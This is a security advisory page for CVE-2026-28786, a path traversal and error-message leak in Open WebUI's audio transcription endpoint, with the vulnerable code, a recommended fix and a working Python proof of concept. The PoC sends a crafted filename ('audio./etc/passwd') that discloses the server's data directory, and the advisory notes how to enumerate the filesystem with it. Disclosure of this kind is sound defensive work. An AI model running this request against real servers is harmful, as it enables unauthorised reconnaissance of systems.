Skip to content
Open WebUIGHSA-vvxm-vxmr-624h

Open WebUI vulnerable to Path Traversal in `POST /api/v1/audio/transcriptions`

Medium4.3CVE-2026-28786 · Published Mar 27, 2026 · updated Jul 13, 2026

GitHub advisory

Affected versions

PackageAffectedFixed in
open-webui
PyPI
< 0.8.60.8.6
Details and references

### Summary An unsanitised filename field in the speech-to-text transcription endpoint allows any authenticated non-admin user to trigger a `FileNotFoundError` whose message , including the server's absolute `DATA_DIR` path , is returned verbatim in the HTTP 400 response body, confirming information disclosure on all default deployments. ### Details `backend/open_webui/routers/audio.py:1197` extracts a file extension from the raw multipart `filename` using `file.filename.split(".")[-1]` with no path sanitisation. The result is concatenated into a filesystem path and passed to `open()`: ```python ext = file.filename.split(".")[-1] # attacker-controlled, no sanitisation filename = f"{id}.{ext}" # may contain "/" file_path = f"{file_dir}/{filename}" with open(file_path, "wb") as f: f.write(contents) ``` If the filename is `audio./etc/passwd`, `split(".")[-1]` yields `/etc/passwd` and the assembled path becomes: ``` {CACHE_DIR}/audio/transcriptions/{uuid}./etc/passwd ``` `open()` fails with `FileNotFoundError`. The outer `except` block at line 1231 returns the exception via `ERROR_MESSAGES.DEFAULT(e)`, leaking the full absolute path in the response body. The MIME-type guard at line 1190 checks `Content-Type` (a separate multipart field) and does not constrain `filename`. Setting `Content-Type: audio/wav` satisfies the guard regardless of the filename value. This handler is the only file upload path in the codebase that omits `os.path.basename()`. Both sibling handlers apply it explicitly: ```python # files.py:244 filename = os.path.basename(file.filename) # pipelines.py:206 filename = os.path.basename(file.filename) ``` **Recommended fix** , match the existing pattern and suppress path leakage in errors: ```python # audio.py:1197 , sanitise extension from pathlib import Path safe_name = Path(file.filename).name ext = Path(safe_name).suffix.lstrip(".") or "bin" # audio.py:1231 , suppress internal path in error response except Exception as e: log.exception(e) raise HTTPException(status_code=400, detail="Transcription failed.") ``` --- ### PoC **Requirements:** a running Open WebUI instance and one standard (non-admin) user account. ```bash docker run -d -p 3000:8080 --name owui-test ghcr.io/open-webui/open-webui:latest # wait ~30 s, register a standard user at http://localhost:3000 pip install requests ``` ```python import requests, sys BASE_URL = "http://localhost:3000" EMAIL = "user@example.com" PASSWORD = "changeme" token = requests.post(f"{BASE_URL}/api/v1/auths/signin", json={"email": EMAIL, "password": PASSWORD}, timeout=10).json()["token"] boundary = "----Boundary" wav_stub = b"RIFF\x00\x00\x00\x00WAVE" body = ( f'--{boundary}\r\nContent-Disposition: form-data; name="file"; ' f'filename="audio./etc/passwd"\r\nContent-Type: audio/wav\r\n\r\n' ).encode() + wav_stub + f"\r\n--{boundary}--\r\n".encode() resp = requests.post( f"{BASE_URL}/api/v1/audio/transcriptions", data=body, headers={"Authorization": f"Bearer {token}", "Content-Type": f"multipart/form-data; boundary={boundary}"}, timeout=15, ) print(resp.status_code, resp.text) ``` **Observed output (live test, commit `b8112d72b`):** ``` 400 {"detail":"[ERROR: [Errno 2] No such file or directory: '/app/backend/data/cache/audio/transcriptions/59457ccf-…./etc/passwd']"} ``` The absolute `DATA_DIR` path is confirmed. Filesystem structure can be enumerated by varying traversal depth and observing which error messages change. **Note on the write primitive:** the traversal path includes a fresh UUID segment (`{uuid}.`) that never pre-exists as a directory, so `open()` is OS-blocked in all practical scenarios. The impact is information disclosure only. --- ### Impact Any authenticated, non-admin user on a default Open WebUI deployment can leak the server's absolute `DATA_DIR` filesystem path. The route is gated by `get_ver

CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Severity from
GitHub (reviewed advisory)
Weakness
CWE-209, CWE-22
Also known as
CVE-2026-28786, PYSEC-2026-2764

More Open WebUI advisories

All Open WebUI
DateAdvisory
Mar 27Open WebUI's process_files_batch() endpoint missing ownership check, allows unauthorized file overwrite
CVE-2026-28788High7.1fixed in 0.8.6
Mar 27Open WebUI has unauthorized deletion of knowledge files
CVE-2026-29070Medium5.4fixed in 0.8.6
Mar 27Open WebUI's Insecure Direct Object Reference (IDOR) allows access to other users' memories
CVE-2026-29071Low3.1fixed in 0.8.6
Apr 1Open WebUI has Broken Access Control in Tool Valves
CVE-2026-34222High7.7fixed in 0.8.11
May 8open-webui Vulnerable to Stored XSS via Model Description
CVE-2026-44721High7.3fixed in 0.9.0
May 8Open WebUI has an LDAP Empty Password Authentication Bypass
CVE-2026-44551Critical9.1fixed in 0.9.0

Critical advisories by email

Wednesdays: the week’s critical and high advisories in the AI and data stack, with the fixed versions. Only in weeks that have some.

Double opt-in. Unsubscribe any time.